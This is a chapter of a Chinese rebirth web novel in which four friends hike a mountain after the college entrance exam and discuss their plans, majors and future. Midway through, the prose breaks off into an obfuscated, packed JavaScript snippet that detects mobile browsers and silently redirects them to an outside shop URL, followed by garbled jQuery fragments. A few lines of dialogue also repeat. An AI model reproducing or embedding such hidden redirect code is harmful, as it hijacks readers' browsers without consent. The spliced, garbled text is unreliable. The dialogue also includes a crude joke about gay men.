高考结束后的第七天，六月十五号，周日。
宋星燃是被窗外的蝉鸣叫醒的。睁眼时天光已经大亮，阳光透过窗帘缝在地板上切出一道亮线。他躺在床上缓了几秒，才彻底反应过来——不用赶六点半的早读，不用摸黑背单词，书桌抽屉里也没有摞得老高的理综卷等着刷。
这种悬空似的松弛，他两辈子加起来都没体会过几回。上一世这个时候，他抱着打印好的简历在人才市场转得脚疼，对着"土木相关"的岗位反复斟酌；这一回重活一次，揣着多出来的几年记忆，连风里都飘着重来的底气。
手机在床头柜震了一下。苏晚柠的消息：「下楼，巷口等你。陪我去赵磊家超市买点东西。」
他回了个「马上」，翻身下床洗漱。镜子里的少年额前碎发乱翘，眼底却没有前世常年熬夜的红血丝。抓了抓头发，揣上钥匙就出了门。
巷口的梧桐树遮出半条街的阴凉，苏晚柠靠在电线杆上晃着布袋子，穿了件洗得发软的白T恤，看见他就直起身："走，去买点做饼干的材料，在家闲得快长蘑菇了。顺便喊赵磊商量商量暑假干点啥，这考完试他天天在朋友圈喊无聊。"
赵磊家的超市在街中段，两层小楼，一楼卖货二楼住人。两人走到门口时，赵磊正扛着一箱冰红茶从仓库出来，T恤湿了大半片，额前的头发绺成一撮一撮的。
"哟，二位视察来了？"他把箱子往货架边一墩，抓起脖子上的毛巾抹脸，"我正想找你们呢，天天在家搬货打游戏，我骨头都快酥了。咱们总得整点毕业活动吧？总不能躺俩月。"
"这不正找你商量呢。"苏晚柠走到粮油货架前，拎起一袋低筋面粉看配料，"你有什么想法？"
宋星燃靠在冰柜边上，随口道："爬山去吧。城东凤凰山，不高，半小时就能到顶。趁天还没彻底热透，出去透透气。"
"爬山？行啊！"赵磊一拍大腿，"我看行！什么时候？"
"明天早上七点，山脚碰头。早去早回，晒不着。"
苏晚柠把面粉丢进布袋子，掏出手机划了两下："那我喊上李可。"
她低头敲了一行字发出去，指尖在手机壳上轻轻点着。赵磊凑过来瞅了一眼："你还特意问啊？我以为她不会出来呢。"
"以前是真不出来，叫十回能回一回就不错了。"苏晚柠语气放轻了点，"这半年好多了，至少消息会回了。"
正说着，手机嗡地震了一声。苏晚柠低头看了眼，把屏幕转过来给两人看——聊天框里安安静静躺着一个字：好。
"可以啊，这回答应得这么痛快。"赵磊啧了声，"搁高二的时候，我跟她打三回招呼她都不一定抬头。"
"熟了就好了。"苏晚柠收起手机，又往袋子里塞了黄油和白芝麻，"就这么定了，明天七点山脚见。各自带点水和吃的，山顶凑一块儿吃。"
"吃的还用你们带？"赵磊拍了拍货架，"我家超市全包了，薯片辣条卤蛋，我明天拎一袋子过去，管够。"
"少拿点，沉。"宋星燃提醒道。
赵姨从仓库里探出头来，围裙上沾了一片面粉。她看见宋星燃，愣了一下，然后笑了。"小宋来了？中午在家吃顿饭——"
"不了赵姨。明天我们爬山，今天回去准备东西。"
"爬山啊——好，好。磊磊你跟你同学一起去——"
"妈我知道——"
"带水。多带点水。明天三十四度——"
"早上不热——"
"早上不热爬山也会渴——"
赵磊叹了口气。苏晚柠在旁边笑出了声。
第二天清晨六点五十，凤凰山脚下。
天是蒙着薄雾的灰蓝色，空气里裹着青草和泥土的潮气，吸一口凉丝丝的。水泥台阶顺着山势蜿蜒往上，两侧种满了银杏树，叶尖沾着露水，风一吹就簌簌往下掉水珠。太阳还没完全升起来，只在东边山头露了半张脸，光还是软的。
宋星燃第一个到。他背了个洗得发白的黑双肩包，装了几瓶冰可乐和几袋红豆面包，早上从冰箱里拿的。山脚的停车场上只停了一辆三轮车，一个晨练的大爷正在压腿。大爷看了他一眼，又看了一眼，大概是奇怪这么早怎么有年轻人来爬山。
苏晚柠第二个。她换了身运动装，手里拎着保鲜盒——昨晚烤的苏打饼干，十二块，撒了芝麻。还有一瓶自己泡的蜂蜜柠檬水。白色运动鞋，鞋带系得很紧。
"你来这么早。"宋星燃说。
"睡不着。五点半就醒了。"她揉了揉眼睛。"你呢？"
"一样。"
赵磊第三个——他从出租车上跳下来，手里拎着两个塑料袋。一袋是零食：薯片、辣条、卤蛋、火腿肠。另一袋是四瓶冰镇矿泉水。赵爸从车窗探出头，冲两人点了点头，叮嘱了句"注意安全"，才开车走了。
"我妈昨晚又加了四瓶水。"赵磊把袋子晃了晃，"她恨不得让我把超市搬过来。"
苏晚柠往他身后看了看："李可还没到？"
"来了。"宋星燃抬了抬下巴。
路的尽头慢慢走过来一个身影。李可穿了件浅灰色短袖，黑色长裤，背个小小的双肩包，头发用银色发夹别在耳后，露出光洁的额头。她走得不快，步子很稳，每一步都刚好踩在人行道的白线上。看见三人，脚步顿了顿，然后微微点了下头。
"早。"她轻声说，声音很细，却很清楚。
这放在两年前是根本不敢想的事。那时候她连跟人对视都不敢，更别说主动打招呼。
苏晚柠冲她笑了笑，招手让她过来："就等你了，人齐了咱们就出发。"
赵磊率先往台阶上冲："冲啊！第一个到顶的今天零食随便挑！"
"谁跟你抢。"苏晚柠笑着跟上去。
四人顺着台阶往上走。凤凰山不高，台阶有三百多级，水泥浇的，每一级边缘都磨得发亮——常年的脚步踩出来的。两边的银杏树叶子还挂着露珠，偶有一阵风吹过来，露珠抖落，凉丝丝地砸在肩膀上。
赵磊走在最前面。他走台阶的方式跟做物理题一样——一步两级，节奏稳定，不回头。走到一百级的时候停下来等后面的人。
苏晚柠走在第二个。她今天步子不快，时不时停下来拍路边的小野花，或者伸手碰一碰带露水的银杏叶。
李可走第三个。她走得不快，每一步都精准地踩在台阶的中线上，左脚、右脚，间距几乎一模一样，像量过似的。她的背挺得很直，双手垂在身侧，眼睛看着前面的台阶，话很少，却一直跟着队伍，没落下半步。
宋星燃走在最后。
他慢悠悠地拾级而上，目光扫过前面三个人的背影。赵磊的T恤后领湿了一小块，苏晚柠的马尾随着脚步一甩一甩，李可的双肩包带子有点长，随着步伐轻轻晃着。
风从林间穿过来，带着草木的清冽。他心里忽然软得一塌糊涂。
不是什么惊天动地的情绪，就是很平实的、温热的触动。像冬夜手里攥着的热奶茶，像晚自习后巷口亮着的路灯，像他前世熬了无数个通宵、对着空荡的出租屋发呆时，早就忘了是什么滋味的——鲜活的、热气腾腾的人间。
这是他失去过，又侥幸捡回来的东西。
"星哥！你磨磨蹭蹭干嘛呢！"赵磊在上面的平台喊他。
"不急。"宋星燃应了一声，脚步没加快多少。
爬到山腰六角凉亭的时候，大家都出了层薄汗。凉亭的石凳被树荫遮着，坐上去凉丝丝的。苏晚柠把矿泉水拿出来分了一圈，赵磊一口气灌了大半瓶。李可拧开盖子，抿了一小口，然后把盖子拧回去。
"还有多远？"赵磊问。
"你抬头。"宋星燃指了指上面。
透过凉亭的飞檐能看到山顶的气象站——白色的圆顶建筑，墙皮剥落了几块。看上去很近。但台阶还在往上拐弯。
"休息两分钟。"宋星燃靠着柱子说。
李可靠在另一边的柱子旁，指尖碰了碰双肩包的拉链，像是想拿什么，顿了两秒又收了回去。苏晚柠注意到了，笑着问："带什么好东西了？还舍不得拿出来。"
"西瓜。"李可轻声说，"到山顶再吃。"
"行，那到山顶再开。"苏晚柠顺着她的话说。
她知道李可的习惯，什么东西都要按点来，按规矩放，轻易不打乱。两年相处下来，大家都默认了她的小节奏，不催，也不追问。
歇了几分钟，四人接着往上爬。越往上风越大，吹得人浑身清爽。踏上最后一级台阶时，太阳刚好从远处山尖冒出来，金色的光铺天盖地洒下来，整个县城都笼在一层柔光里。
山顶是块废弃的水泥平台，以前是气象站的院子，如今只剩一栋白墙斑驳的小圆楼，墙面上爬满了爬山虎。边缘摆着几个石墩子，刚好能坐人。
站在边上往下望，密密麻麻的屋顶连成一片，灰的红的蓝的，像块拼错的积木。远处的公路像条细灰带，偶尔有车开过，慢得像只蚂蚁。再远一点是大片的稻田，六月的秧苗绿得发亮，风一吹就翻起层层绿浪。
"卧槽。"赵磊站在台阶最后一级，双手叉腰。"值了。"
四个人围着石墩坐下来。苏晚柠把保鲜盒打开推到中间，赵磊把零食袋也撕开了。李可把双肩包打开，从里面拿出一个透明饭盒——切好的西瓜，整整齐齐码了一层，每一块大小几乎一样。宋星燃的红豆面包拆了袋。
赵磊看了一眼那盒西瓜。"你切的？"
李可点头。
"你这个刀工——比我妈切得都整齐。"
李可没说话。但她的嘴角动了一下——很小的幅度，不太像笑，但也不是没有。
苏晚柠拿起一块西瓜。"现在可以吃了。"
李可也拿起一块。咬了一口。汁水顺着手指淌下来，她用另一只手接住。
苏晚柠把蜂蜜柠檬水倒进四个一次性杯子里——她连杯子都带了。每人一杯。赵磊接过去喝了一口，眉毛皱成一团。
"酸——"
"蜂蜜放少了。昨晚做的时候——"
"不是放少了。是根本没放。"
苏晚柠没接话。她又抿了一口，嘴角弯了一下。
宋星燃把红豆面包分了两个给赵磊。赵磊接过去塞进嘴里，两口就吃完了一个。
风从山顶刮过去，吹得零食袋哗啦响，混着远处的蝉鸣，倒也热闹。
"对了，你们暑假打算干嘛？"赵磊嚼着辣条，先开了口，"总不能真躺俩月吧。"
苏晚柠先答："我爸妈带我去云南，下礼拜就走。大理、丽江都去，我妈做了满满一本攻略，说要带我好好放松放松。"
"可以啊，去那么久？"
"八天吧。"苏晚柠笑，"我妈连每天穿什么衣服都列好了，说拍照好看。"
赵磊听得直咋舌，又转头问李可："你呢？暑假有安排没？"
李可正拿着一块西瓜慢慢吃，听见问话，把瓜皮放在盒盖上，擦了擦手指。
"在家。"她说，"看化学书。"
"还看书啊？"赵磊瞪大眼，"高考都考完了还不歇歇？"
"提前看大学的。"李可垂着眼，声音很轻，却很笃定。
"挺好。"宋星燃先开口，语气很认真，"有自己明确想做的事，比什么都强。"
苏晚柠也点头："对啊，你化学这么好，学这个肯定合适。"
李可垂着眼，指尖轻轻碰了碰饭盒边缘，没说话，但耳朵尖有点红。
赵磊最后看向宋星燃："星哥，你呢？你肯定有计划吧。"
宋星燃拧开矿泉水喝了一口，语气平淡："考驾照。"
"考驾照？"赵磊愣了，"你连车都没有，考那玩意儿干嘛？"
"现在没有，以后总会有。"宋星燃看着远处的稻田，"这个暑假应该是往后好几年里最长的整块假期了。上了大学有专业课，有各种杂事，工作了更挤不出时间。驾照早晚都得考，趁现在有空，早考完早省心。"
苏晚柠看着他，有点佩服："你怎么什么都算得明明白白的。"
"大概算过。县驾校暑假班一千八，正常练四十天左右就能拿证。"宋星燃语气平常，"现在不考，等以后寒暑假来回跑？太折腾。"
赵磊张了张嘴，又闭上了。他早就习惯了，宋星燃永远是这样，别人还在懵懵懂懂混日子的时候，他已经把几步之外的路都盘算清楚了。
"那你报名的时候叫我一个。"赵磊拍了下大腿，"我也考！反正闲着也是闲着，你说得对，早考早完事。"
宋星燃看他一眼，点了点头："行。"
太阳升到半空，山上的风从凉变热了。苏晚柠撑着下巴看向远处，忽然问："对了，你们都想过去哪个城市上学吗？还有想学什么专业？"
问题抛出来，山顶静了几秒。
这是高考结束后大家心照不宣又隐隐好奇的话题。像揣了颗糖，总想着找个合适的时候剥开。
苏晚柠先开口，语气很轻松："我想去南方，广州或者深圳那边。冬天暖和，不用裹得像粽子，也不用天天被我妈逼着穿秋裤。"
宋星燃刚喝了一口水，闻言差点笑出来："别听你爸瞎说，南方冬天才是真冻人。湿冷，钻骨头缝里那种冷，还没暖气。到时候你该穿秋裤还得穿，搞不好比在家穿得还厚。"
"真的假的？"苏晚柠皱起眉，"我还以为南方冬天都穿单衣呢。"
"骗你干嘛。北方冷是干冷，有暖气屋里舒服；南方是室内室外一个温度，被窝里都是凉的。"宋星燃语气很笃定，像亲身经历过似的，"真去了，厚衣服别少带。"
苏晚柠将信将疑地点点头，又接着说："城市定了大概方向，专业还没想太好。大概就学点文学相关的吧，中文或者新闻，写写东西，感觉挺有意思的，也不用学物理数学，省心。"
话音刚落，就听见"咳"的一声。
宋星燃一口水直接呛在了喉咙里，弯着腰咳了好几声，脸都咳红了。
"你慢点喝！"苏晚柠吓了一跳，赶紧拍他后背，"怎么还呛着了。"
宋星燃摆了摆手，缓了好半天才直起身。
他不是故意的。
是"文学相关"这四个字，猛地撞开了他前世的记忆。上一世的苏晚柠，就是选了听起来轻松的市场营销，属于文科大类，学的东西杂而不精。毕业之后不想去外地漂，回了小县城，对口的工作少得可怜，只能一头扎进考公的大军里，考了五年，进面都没几回，天天熬到深夜刷题，整个人都熬得没了光。
那是他眼睁睁看着的，好朋友走的弯路。
"别学纯文科。"他缓过来，第一句话就是这个，语气比刚才重了点，"别选那种听起来轻松、什么都学一点、但没什么硬技能的专业。"
苏晚柠愣住了："啊？为什么？"
"太泛了，没壁垒。"宋星燃尽量说得直白，又不能暴露重生的事，"尤其是咱们这种小城市出来的，要是以后想回家，纯文科的对口岗位特别少，到时候要么挤考公的独木桥，要么去做销售、做行政，替代性太强了，没什么选择权。"
他顿了顿，补充道："真要选，不如学点有技术的。比如学医，护理、医技类的，或者财会、计算机相关的，哪怕是个师范，都有一技之长。走到哪都能吃饭，稳。"
苏晚柠盯着他看了几秒。她知道宋星燃从来不说没根据的话，别看他年纪跟自己一样，想事情永远比同龄人深得多。
"……行，我回去好好想想。"她点点头，把这话放在了心上。
赵磊在旁边听得直点头："星哥说得对，有手艺才靠谱。我就不想学那些虚头巴脑的。"
苏晚柠踢了他一脚："那你呢？你想去哪？学什么？"
"我啊，我想去成都。"赵磊挠挠头，有点不好意思，"我想学自动化。"
"噗——"
宋星燃刚抿进去的一口水，又喷了半口，剩下的全呛进了气管里，咳得比刚才还凶。
这下所有人都看他了。
"不是，星哥你今天怎么回事？"赵磊一脸莫名其妙，"怎么我说成都你也呛水？成都招你惹你了？"
宋星燃咳得眼角都红了，摆着手半天说不出话。缓了好一会儿，才忍着笑说："没什么……就是想起个事。"</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693165|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
"什么事？"
宋星燃抬眼看他，嘴角还带着点笑："成都gay特别多。"
赵磊愣了两秒，瞬间瞪大眼睛，双手往胸前一抱，一副警惕的样子："真的假的？那我可得保护好自己！"
宋星燃看着他那副戏精样子，脸上的笑收都收不住，换了副无语的表情："放心吧。一般人要是没有恋丑癖，不会主动找你搭讪的。你安全得很。"
"哎你怎么说话呢！"赵磊不服气地伸手推他肩膀，"我这叫阳刚之气！懂不懂！"
苏晚柠在旁边笑得直拍石墩，连李可的嘴角都往上弯了弯，眼里带着点笑意。
闹了好一会儿才停下来。赵磊还在嘟囔"到时候谁搭讪谁还不一定呢"，苏晚柠笑着怼了他两句，才转头问李可："李可，你呢？想去哪个城市？学什么专业？"
李可刚把一块西瓜吃完，正把瓜皮整齐地码回饭盒里，一块挨着一块，摆得方方正正。听见问话，她的手顿了一下。
"还没想好城市。"她轻声说，"专业学化学。"
"挺好。"宋星燃点点头，"以后可以做研发。以你的专注劲儿，肯定能做成。"
苏晚柠也点头："对啊，你化学这么好，学这个肯定合适。以后说不定能当化学家呢。"
李可垂着眼，指尖轻轻碰了碰饭盒边缘，没说话，但耳朵尖有点红。
最后，三个人的目光都落到了宋星燃身上。
"星哥，轮到你了。"赵磊凑过来，"你想学啥？打算去哪个城市？"
宋星燃拿起矿泉水瓶，指尖摩挲着冰凉的瓶身，看着远处连绵的田野，语气很淡。
"城市还没定。"他先答了这句，然后才说，"专业想学计算机。"
"计算机？"赵磊眨眨眼，"就是写代码那种？"
"差不多。"宋星燃点点头，"以后是信息化时代，各行各业都离不开计算机。手机、互联网、支付、工业生产，哪样都要用到。学这个等于有门硬技术，以后不管去哪个城市、想做什么方向，都有得选。"
他没说具体的城市，也没说目标院校。不是藏着掖着，是觉得没必要。分数没出来，一切都有变数；更重要的是，他心里的目标太重了，说出来反而轻了。
赵磊听得一脸佩服："还是你想得远。我就知道计算机挺火的，没想到这么多用处。"
苏晚柠也点头："确实，现在什么都离不开手机电脑，学这个肯定不会错。"
话题聊到这儿，忽然就静了下来。
风卷着薯片袋子哗啦响，没人说话。十几岁的年纪，总觉得毕业是很远的事，可真到了考完试坐在这里聊未来的时候，才忽然反应过来——再过几个月，大家就要往不同的城市去，走不同的路了。
苏晚柠撑着下巴，看着山下的县城，轻轻叹了口气："这么一说，以后就散了啊。一个去成都，我去南方，李可也还没定。下次再凑齐爬山，不知道要到什么时候了。"
气氛有点沉。
赵磊挠挠头，开口打破沉默："怕啥，放假就回来呗。每年暑假都约这儿，凤凰山，不见不散。平时也能发消息打视频，又不是以前，见一面得翻山越岭的。"
苏晚柠转头看宋星燃："你说呢？"
宋星燃看着远处公路上慢慢移动的货车，沉默了几秒，轻轻"嗯"了一声。
"会的。"
他前世见过太多走着走着就散了的朋友，可此刻看着身边这三张年轻的脸，看着李可眼里难得的笑意，看着赵磊大大咧咧的样子，看着苏晚柠眼里的期待，他愿意相信这个约定。
太阳越升越高，风也渐渐热了起来。苏晚柠合上保鲜盒，拍了拍手："走吧，该下山了。再晚太阳就该晒人了。"
大家纷纷起身，把垃圾都装进塑料袋里带下山。李可把饭盒盖好，仔细地擦了擦盒身的水珠，才放进双肩包里。
下山的路比上山快。赵磊蹦蹦跳跳走在最前面，苏晚柠和李可并排走在中间，小声说着云南的风景，李可偶尔会点点头，应一两个字。宋星燃还是走在最后。
他偶尔回头看一眼山顶，那栋白色的小楼越来越小，最后隐在绿树丛里。就像这段高中岁月，热热闹闹地开场，安安静静地收尾，最后会变成记忆里的一个小点。
但没关系。
至少此刻，他们还并肩走在一起。
到了山脚，赵磊他爸已经开车在等了。四人上了车，先送苏晚柠，再送李可，最后是宋星燃。
赵爸把车开出去的时候，收音机里在放天气预报。明天三十五度，后天三十六度。然后开始放一首老歌，声音沙沙的。
赵磊在副驾驶翻他的零食袋——薯片还剩半包。
"爸——中午吃什么？"
"你妈说做红烧肉。"
"真的？"赵磊回过头看宋星燃。"星哥——中午来家里吃？"
"不了。"
"为什么？"
"有事。"
"什么事？"
宋星燃没有回答。他掏出手机看了一眼——公众号后台。关注数9856。比高考前多了两个。那两个大概是考完试无聊搜到的。
车在苏晚柠家楼下停了一下。苏晚柠下车的时候回头说了一句："李可——西瓜盒子先放我这儿，洗干净还你。"
李可点头。
然后是李可家。李可下车的时候把空饭盒从膝盖上拿起来，抱在怀里。她站在路边，等车开走了，才转身往小区里走。走了三步停了一下——回头看了一眼远去的车尾灯。
然后转回去，走了。
最后是宋星燃。赵爸把车停在他家楼下。
"谢了赵叔。"
"客气什么。"赵爸摆手。
赵磊从车窗伸出头："星哥——驾照报名的时候叫我——"
"知道了。"
"不是知道——你要打电话——"
"好。"
赵磊缩回头。出租车开走了，尾灯在巷子拐角闪了两下，消失了。
"事"是公众号。
回到家，宋星燃洗了个澡。然后坐在书桌前，打开手机。
公众号"柳树下"后台。关注9856。距一万还差144。
他翻了一下后台留言。高考这两天的留言比平时多了三倍——大部分是高三学生和家长。有人问"考完了还能看你的文章吗"，有人问"暑假怎么安排"，还有人问"学长你考得怎么样"。
最后一条留言的ID叫"志愿填报小助手"——一看就是营销号。他划掉了。
翻出那个记账用的蓝色小本子，翻到空白页，写了一行字：
"6/16——出分前内容规划"
出分大约在六月二十五号。从现在到出分后十天，差不多二十天。这二十天能做什么？
他在本子上写了三行：
"出分前：志愿填报基础知识（什么是平行志愿/冲稳保策略/院校与专业优先级）" "出分后：按分数段给出填报思路（不替人做决定/给框架不给答案）" "收尾：常见误区/防骗指南"
跟之前写"解题钥匙"的逻辑一样——不替你做，教你做。
他想了想，在第一行后面补了一句：
"每篇≤800字。不贩卖焦虑。"
后台那条"考完了还能看你的文章吗"的留言，他回了四个字：
"一直都在。"
然后他翻了翻库存。十一篇高中学科方法论——现在发不合适。高考都考完了，谁还看"函数零点三步法"？
志愿填报的内容得现写。
他拿起笔。还是那支黑色水笔。笔尖在纸上点了一下，留了一个墨点。
第一篇的标题他想好了：《平行志愿到底是什么？三分钟讲明白》。
落笔。
窗外传来蝉鸣。六月的蝉叫得还不算狠——到七月才真叫热闹。他妈在客厅看电视，声音开得很大。某个频道的综艺节目笑声隔着一道墙传进来，一阵一阵的。
他写了三行，停了一下。
六月二十五号出分。还有九天。
九天够写五篇。